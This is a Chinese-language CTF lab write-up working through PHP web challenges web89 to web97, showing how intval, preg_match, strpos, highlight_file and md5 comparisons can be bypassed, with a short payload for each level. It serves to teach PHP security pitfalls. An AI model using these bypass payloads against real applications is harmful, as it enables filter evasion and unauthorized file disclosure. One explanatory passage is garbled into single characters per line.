写在前面
学学php
web89
intval()函数:
intval(mixed $value, int $base = 10): int

我们测试一下:
echo '---------web89----------'."\r\n";
$num[] = '';
echo 'intval_result:';
echo intval($num);
if(preg_match("/[0-9]/", $num)){
echo 'no';
}
if(intval($num)) {
echo "\r\n".'OK';
}
输出结果:

可以看到,当
n
u
m
为
数
组
时
,
即
使
num为数组时,即使
num为数组时,即使num作为object,intval($num)返回1。而preg_match虽然报错,但之后的echo OK仍然执行成功。
payload:
?$num[]=
web90
测试:
echo '---------web90----------'."\r\n";
$num = '0x117C';
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo 'OK';
}else{
echo intval($num,0);
}
因为intval的base参数为0,会自动根据num的进制来输出,我们可以用16进制来绕过
if($num==="4476"){
die("no no no!");
}
payload:
?num=0x117C
web91
我们测试一下:
echo "\r\n".'---------web91----------'."\r\n";
$cmd1 = "\r\n".'php';
$cmd2 = '
php';
if(preg_match('/^php$/im', $cmd1)){
if(preg_match('/^php$/i', $cmd1)){
echo 'hacker';
}
else{
echo '91OK';
}
}
else{
echo 'nonononono';
}
对于不同匹配模式,我们可以用换行符来满足多行匹配/m。
执行后不管用cmd1还是cmd2都可以输出“91OK”。但是要注意,cmd1里的\r\n需要用双引号括起来。单引号内我们只能用静态数据。如果要用单引号,也就是cmd2,我们可以直接按Enter来换行。
payload:
?cmd=%0aphp
web92
同web90
web93
这次过滤了全部字母,我们用8进制。
payload:
?num=010574
web94
源码:
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
添加了一条过滤规则:
if(!strpos($num, "0")){
die("no no no!");
}
如果0在$num的第一位,则会直接退出。我们可以用8进制,并且在字符串之前加一个空格即可。
payload:
?num= 010574
web95
同web94
web96
源码:
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
加一个当前目录路径的符号即可。payload:
?u=./flag.php
web97
数组绕过md5。payload:
POST:
a[]=1&b[]=2
参考资料
B站BV号:BV1Uv411G7u1
|